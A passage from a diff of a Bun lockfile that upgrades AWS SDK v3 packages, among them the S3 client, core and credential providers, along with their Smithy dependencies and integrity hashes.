"^3.0.3", "@smithy/middleware-stack": "^3.0.3", "@smithy/node-config-provider": "^3.1.4", "@smithy/node-http-handler": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "@smithy/util-base64": "^3.0.0", "@smithy/util-body-length-browser": "^3.0.0", "@smithy/util-body-length-node": "^3.0.0", "@smithy/util-defaults-mode-browser": "^3.0.14", "@smithy/util-defaults-mode-node": "^3.0.14", "@smithy/util-endpoints": "^2.0.5", "@smithy/util-middleware": "^3.0.3", "@smithy/util-retry": "^3.0.3", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-kGYnTzXTMGdjko5+GZ1PvWvfXA7quiOp5iMo5gbh5b55pzIdc918MHN0pvaqplVGWYlaFJF4YzxUT5Nbxd7Xeg=="],
"@aws-sdk/client-kendra": ["@aws-sdk/client-kendra@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/credential-provider-node": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-DWyNlC6BFhzoDkyKZ3xv0BC/xcXF3Tpq6j6Z42DXO9KEUjiGmC3se9l/GFEVtRLh/DR4p7cTJsxzA2QNuthRNg=="],
- "@aws-sdk/client-s3": ["@aws-sdk/client-s3@3.758.0", "", { "dependencies": { "@aws-crypto/sha1-browser": "5.2.0", "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/credential-provider-node": "3.758.0", "@aws-sdk/middleware-bucket-endpoint": "3.734.0", "@aws-sdk/middleware-expect-continue": "3.734.0", "@aws-sdk/middleware-flexible-checksums": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-location-constraint": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-sdk-s3": "3.758.0", "@aws-sdk/middleware-ssec": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/signature-v4-multi-region": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@aws-sdk/xml-builder": "3.734.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/eventstream-serde-browser": "^4.0.1", "@smithy/eventstream-serde-config-resolver": "^4.0.1", "@smithy/eventstream-serde-node": "^4.0.1", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-blob-browser": "^4.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/hash-stream-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/md5-js": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "@smithy/util-waiter": "^4.0.2", "tslib": "^2.6.2" } }, "sha512-f8SlhU9/93OC/WEI6xVJf/x/GoQFj9a/xXK6QCtr5fvCjfSLgMVFmKTiIl/tgtDRzxUDc8YS6EGtbHjJ3Y/atg=="],
+ "@aws-sdk/client-s3": ["@aws-sdk/client-s3@3.1004.0", "", { "dependencies": { "@aws-crypto/sha1-browser": "5.2.0", "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/credential-provider-node": "^3.972.18", "@aws-sdk/middleware-bucket-endpoint": "^3.972.7", "@aws-sdk/middleware-expect-continue": "^3.972.7", "@aws-sdk/middleware-flexible-checksums": "^3.973.4", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-location-constraint": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-sdk-s3": "^3.972.18", "@aws-sdk/middleware-ssec": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/signature-v4-multi-region": "^3.996.6", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/eventstream-serde-browser": "^4.2.11", "@smithy/eventstream-serde-config-resolver": "^4.3.11", "@smithy/eventstream-serde-node": "^4.2.11", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-blob-browser": "^4.2.12", "@smithy/hash-node": "^4.2.11", "@smithy/hash-stream-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/md5-js": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "@smithy/util-waiter": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-m0zNfpsona9jQdX1cHtHArOiuvSGZPsgp/KRZS2YjJhKah96G2UN3UNGZQ6aVjXIQjCY6UanCJo0uW9Xf2U41w=="],
"@aws-sdk/client-sso": ["@aws-sdk/client-sso@3.623.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.623.0", "@aws-sdk/middleware-host-header": "3.620.0", "@aws-sdk/middleware-logger": "3.609.0", "@aws-sdk/middleware-recursion-detection": "3.620.0", "@aws-sdk/middleware-user-agent": "3.620.0", "@aws-sdk/region-config-resolver": "3.614.0", "@aws-sdk/types": "3.609.0", "@aws-sdk/util-endpoints": "3.614.0", "@aws-sdk/util-user-agent-browser": "3.609.0", "@aws-sdk/util-user-agent-node": "3.614.0", "@smithy/config-resolver": "^3.0.5", "@smithy/core": "^2.3.2", "@smithy/fetch-http-handler": "^3.2.4", "@smithy/hash-node": "^3.0.3", "@smithy/invalid-dependency": "^3.0.3", "@smithy/middleware-content-length": "^3.0.5", "@smithy/middleware-endpoint": "^3.1.0", "@smithy/middleware-retry": "^3.0.14", "@smithy/middleware-serde": "^3.0.3", "@smithy/middleware-stack": "^3.0.3", "@smithy/node-config-provider": "^3.1.4", "@smithy/node-http-handler": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "@smithy/util-base64": "^3.0.0", "@smithy/util-body-length-browser": "^3.0.0", "@smithy/util-body-length-node": "^3.0.0", "@smithy/util-defaults-mode-browser": "^3.0.14", "@smithy/util-defaults-mode-node": "^3.0.14", "@smithy/util-endpoints": "^2.0.5", "@smithy/util-middleware": "^3.0.3", "@smithy/util-retry": "^3.0.3", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-oEACriysQMnHIVcNp7TD6D1nzgiHfYK0tmMBMbUxgoFuCBkW9g9QYvspHN+S9KgoePfMEXHuPUe9mtG9AH9XeA=="],
"@aws-sdk/client-sso-oidc": ["@aws-sdk/client-sso-oidc@3.623.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.623.0", "@aws-sdk/credential-provider-node": "3.623.0", "@aws-sdk/middleware-host-header": "3.620.0", "@aws-sdk/middleware-logger": "3.609.0", "@aws-sdk/middleware-recursion-detection": "3.620.0", "@aws-sdk/middleware-user-agent": "3.620.0", "@aws-sdk/region-config-resolver": "3.614.0", "@aws-sdk/types": "3.609.0", "@aws-sdk/util-endpoints": "3.614.0", "@aws-sdk/util-user-agent-browser": "3.609.0", "@aws-sdk/util-user-agent-node": "3.614.0", "@smithy/config-resolver": "^3.0.5", "@smithy/core": "^2.3.2", "@smithy/fetch-http-handler": "^3.2.4", "@smithy/hash-node": "^3.0.3", "@smithy/invalid-dependency": "^3.0.3", "@smithy/middleware-content-length": "^3.0.5", "@smithy/middleware-endpoint": "^3.1.0", "@smithy/middleware-retry": "^3.0.14", "@smithy/middleware-serde": "^3.0.3", "@smithy/middleware-stack": "^3.0.3", "@smithy/node-config-provider": "^3.1.4", "@smithy/node-http-handler": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "@smithy/util-base64": "^3.0.0", "@smithy/util-body-length-browser": "^3.0.0", "@smithy/util-body-length-node": "^3.0.0", "@smithy/util-defaults-mode-browser": "^3.0.14", "@smithy/util-defaults-mode-node": "^3.0.14", "@smithy/util-endpoints": "^2.0.5", "@smithy/util-middleware": "^3.0.3", "@smithy/util-retry": "^3.0.3", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-lMFEXCa6ES/FGV7hpyrppT1PiAkqQb51AbG0zVU3TIgI2IO4XX02uzMUXImRSRqRpGymRCbJCaCs9LtKvS/37Q=="],
- "@aws-sdk/core": ["@aws-sdk/core@3.758.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-0RswbdR9jt/XKemaLNuxi2gGr4xGlHyGxkTdhSQzCyUe9A9OPCoLl3rIESRguQEech+oJnbHk/wuiwHqTuP9sg=="],
+ "@aws-sdk/core": ["@aws-sdk/core@3.973.18", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/xml-builder": "^3.972.10", "@smithy/core": "^3.23.8", "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-GUIlegfcK2LO1J2Y98sCJy63rQSiLiDOgVw7HiHPRqfI2vb3XozTVqemwO0VSGXp54ngCnAQz0Lf0YPCBINNxA=="],
+
+ "@aws-sdk/crc64-nvme": ["@aws-sdk/crc64-nvme@3.972.4", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-HKZIZLbRyvzo/bXZU7Zmk6XqU+1C9DjI56xd02vwuDIxedxBEqP17t9ExhbP9QFeNq/a3l9GOcyirFXxmbDhmw=="],
"@aws-sdk/credential-provider-cognito-identity": ["@aws-sdk/credential-provider-cognito-identity@3.623.0", "", { "dependencies": { "@aws-sdk/client-cognito-identity": "3.623.0", "@aws-sdk/types": "3.609.0", "@smithy/property-provider": "^3.1.3", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-sXU2KtWpFzIzE4iffSIUbl4mgbeN1Rta6BnuKtS3rrVrryku9akAxY//pulbsIsYfXRzOwZzULsa+cxQN00lrw=="],
@@ -547,9 +579,9 @@
"@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.623.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.620.1", "@aws-sdk/credential-provider-http": "3.622.0", "@aws-sdk/credential-provider-process": "3.620.1", "@aws-sdk/credential-provider-sso": "3.623.0", "@aws-sdk/credential-provider-web-identity": "3.621.0", "@aws-sdk/types": "3.609.0", "@smithy/credential-provider-imds": "^3.2.0", "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-kvXA1SwGneqGzFwRZNpESitnmaENHGFFuuTvgGwtMe7mzXWuA/LkXdbiHmdyAzOo0iByKTCD8uetuwh3CXy4Pw=="],
- "@aws-sdk/credential-provider-login": ["@aws-sdk/credential-provider-login@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-jL9zc+e+7sZeJrHzYKK9GOjl1Ktinh0ORU3cM2uRBi7fuH/0zV9pdMN8PQnGXz0i4tJaKcZ1lrE4V0V6LB9NQg=="],
+ "@aws-sdk/credential-provider-login": ["@aws-sdk/credential-provider-login@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-gf2E5b7LpKb+JX2oQsRIDxdRZjBFZt2olCGlWCdb3vBERbXIPgm2t1R5mEnwd4j0UEO/Tbg5zN2KJbHXttJqwA=="],
- "@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.758.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.758.0", "@aws-sdk/credential-provider-http": "3.758.0", "@aws-sdk/credential-provider-ini": "3.758.0", "@aws-sdk/credential-provider-process": "3.758.0", "@aws-sdk/credential-provider-sso": "3.758.0", "@aws-sdk/credential-provider-web-identity": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/credential-provider-imds": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-+DaMv63wiq7pJrhIQzZYMn4hSarKiizDoJRvyR7WGhnn0oQ/getX9Z0VNCV3i7lIFoLNTb7WMmQ9k7+z/uD5EQ=="],
+ "@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.972.18", "", { "dependencies": { "@aws-sdk/credential-provider-env": "^3.972.16", "@aws-sdk/credential-provider-http": "^3.972.18", "@aws-sdk/credential-provider-ini": "^3.972.17", "@aws-sdk/credential-provider-process": "^3.972.16", "@aws-sdk/credential-provider-sso": "^3.972.17", "@aws-sdk/credential-provider-web-identity": "^3.972.17", "@aws-sdk/types": "^3.973.5", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-ZDJa2gd1xiPg/nBDGhUlat02O8obaDEnICBAVS8qieZ0+nDfaB0Z3ec6gjZj27OqFTjnB/Q5a0GwQwb7rMVViw=="],
"@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.620.1", "", { "dependencies": { "@aws-sdk/types": "3.609.0", "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-hWqFMidqLAkaV9G460+1at6qa9vySbjQKKc04p59OT7lZ5cO5VH5S4aI05e+m4j364MBROjjk2ugNvfNf/8ILg=="],
@@ -559,57 +591,57 @@
"@aws-sdk/credential-providers": ["@aws-sdk/credential-providers@3.623.0", "", { "dependencies": { "@aws-sdk/client-cognito-identity": "3.623.0", "@aws-sdk/client-sso": "3.623.0", "@aws-sdk/credential-provider-cognito-identity": "3.623.0", "@aws-sdk/credential-provider-env": "3.620.1", "@aws-sdk/credential-provider-http": "3.622.0", "@aws-sdk/credential-provider-ini": "3.623.0", "@aws-sdk/credential-provider-node": "3.623.0", "@aws-sdk/credential-provider-process": "3.620.1", "@aws-sdk/credential-provider-sso": "3.623.0", "@aws-sdk/credential-provider-web-identity": "3.621.0", "@aws-sdk/types": "3.609.0", "@smithy/credential-provider-imds": "^3.2.0", "@smithy/property-provider": "^3.1.3", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-abtlH1hkVWAkzuOX79Q47l0ztWOV2Q7l7J4JwQgzEQm7+zCk5iUAiwqKyDzr+ByCyo4I3IWFjy+e1gBdL7rXQQ=="],
- "@aws-sdk/eventstream-handler-node": ["@aws-sdk/eventstream-handler-node@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/eventstream-codec": "^4.2.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-4zIbhdRmol2KosIHmU31ATvNP0tkJhDlRj9GuawVJoEnMvJA1pd2U3SRdiOImJU3j8pT46VeS4YMmYxfjGHByg=="],
+ "@aws-sdk/eventstream-handler-node": ["@aws-sdk/eventstream-handler-node@3.972.10", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/eventstream-codec": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-g2Z9s6Y4iNh0wICaEqutgYgt/Pmhv5Ev9G3eKGFe2w9VuZDhc76vYdop6I5OocmpHV79d4TuLG+JWg5rQIVDVA=="],
- "@aws-sdk/middleware-bucket-endpoint": ["@aws-sdk/middleware-bucket-endpoint@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@aws-sdk/util-arn-parser": "3.723.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-etC7G18aF7KdZguW27GE/wpbrNmYLVT755EsFc8kXpZj8D6AFKxc7OuveinJmiy0bYXAMspJUWsF6CrGpOw6CQ=="],
+ "@aws-sdk/middleware-bucket-endpoint": ["@aws-sdk/middleware-bucket-endpoint@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-arn-parser": "^3.972.3", "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-config-provider": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-goX+axlJ6PQlRnzE2bQisZ8wVrlm6dXJfBzMJhd8LhAIBan/w1Kl73fJnalM/S+18VnpzIHumyV6DtgmvqG5IA=="],
- "@aws-sdk/middleware-eventstream": ["@aws-sdk/middleware-eventstream@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-XQSH8gzLkk8CDUDxyt4Rdm9owTpRIPdtg2yw9Y2Wl5iSI55YQSiC3x8nM3c4Y4WqReJprunFPK225ZUDoYCfZA=="],
+ "@aws-sdk/middleware-eventstream": ["@aws-sdk/middleware-eventstream@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-VWndapHYCfwLgPpCb/xwlMKG4imhFzKJzZcKOEioGn7OHY+6gdr0K7oqy1HZgbLa3ACznZ9fku+DzmAi8fUC0g=="],
- "@aws-sdk/middleware-expect-continue": ["@aws-sdk/middleware-expect-continue@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-P38/v1l6HjuB2aFUewt7ueAW5IvKkFcv5dalPtbMGRhLeyivBOHwbCyuRKgVs7z7ClTpu9EaViEGki2jEQqEsQ=="],
+ "@aws-sdk/middleware-expect-continue": ["@aws-sdk/middleware-expect-continue@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-mvWqvm61bmZUKmmrtl2uWbokqpenY3Mc3Jf4nXB/Hse6gWxLPaCQThmhPBDzsPSV8/Odn8V6ovWt3pZ7vy4BFQ=="],
- "@aws-sdk/middleware-flexible-checksums": ["@aws-sdk/middleware-flexible-checksums@3.758.0", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@aws-crypto/crc32c": "5.2.0", "@aws-crypto/util": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/is-array-buffer": "^4.0.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-o8Rk71S08YTKLoSobucjnbj97OCGaXgpEDNKXpXaavUM5xLNoHCLSUPRCiEN86Ivqxg1n17Y2nSRhfbsveOXXA=="],
+ "@aws-sdk/middleware-flexible-checksums": ["@aws-sdk/middleware-flexible-checksums@3.973.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@aws-crypto/crc32c": "5.2.0", "@aws-crypto/util": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/crc64-nvme": "^3.972.4", "@aws-sdk/types": "^3.973.5", "@smithy/is-array-buffer": "^4.2.2", "@smithy/node-config-provider": "^4.3.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7CH2jcGmkvkHc5Buz9IGbdjq1729AAlgYJiAvGq7qhCHqYleCsriWdSnmsqWTwdAfXHMT+pkxX3w6v5tJNcSug=="],
- "@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-LW7RRgSOHHBzWZnigNsDIzu3AiwtjeI2X66v+Wn1P1u+eXssy1+up4ZY/h+t2sU4LU36UvEf+jrZti9c6vRnFw=="],
+ "@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-aHQZgztBFEpDU1BB00VWCIIm85JjGjQW1OG9+98BdmaOpguJvzmXBGbnAiYcciCd+IS4e9BEq664lhzGnWJHgQ=="],
- "@aws-sdk/middleware-location-constraint": ["@aws-sdk/middleware-location-constraint@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-EJEIXwCQhto/cBfHdm3ZOeLxd2NlJD+X2F+ZTOxzokuhBtY0IONfC/91hOo5tWQweerojwshSMHRCKzRv1tlwg=="],
+ "@aws-sdk/middleware-location-constraint": ["@aws-sdk/middleware-location-constraint@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-vdK1LJfffBp87Lj0Bw3WdK1rJk9OLDYdQpqoKgmpIZPe+4+HawZ6THTbvjhJt4C4MNnRrHTKHQjkwBiIpDBoig=="],
- "@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-mUMFITpJUW3LcKvFok176eI5zXAUomVtahb9IQBwLzkqFYOrMJvWAvoV4yuxrJ8TlQBG8gyEnkb9SnhZvjg67w=="],
+ "@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-LXhiWlWb26txCU1vcI9PneESSeRp/RYY/McuM4SpdrimQR5NgwaPb4VJCadVeuGWgh6QmqZ6rAKSoL1ob16W6w=="],
- "@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-CUat2d9ITsFc2XsmeiRQO96iWpxSKYFjxvj27Hc7vo87YUHRnfMfnc8jw1EpxEwMcvBD7LsRa6vDNky6AjcrFA=="],
+ "@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-l2VQdcBcYLzIzykCHtXlbpiVCZ94/xniLIkAj0jpnpjY4xlgZx7f56Ypn+uV1y3gG0tNVytJqo3K9bfMFee7SQ=="],
- "@aws-sdk/middleware-sdk-s3": ["@aws-sdk/middleware-sdk-s3@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-arn-parser": "3.723.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-config-provider": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-6mJ2zyyHPYSV6bAcaFpsdoXZJeQlR1QgBnZZ6juY/+dcYiuyWCdyLUbGzSZSE7GTfx6i+9+QWFeoIMlWKgU63A=="],
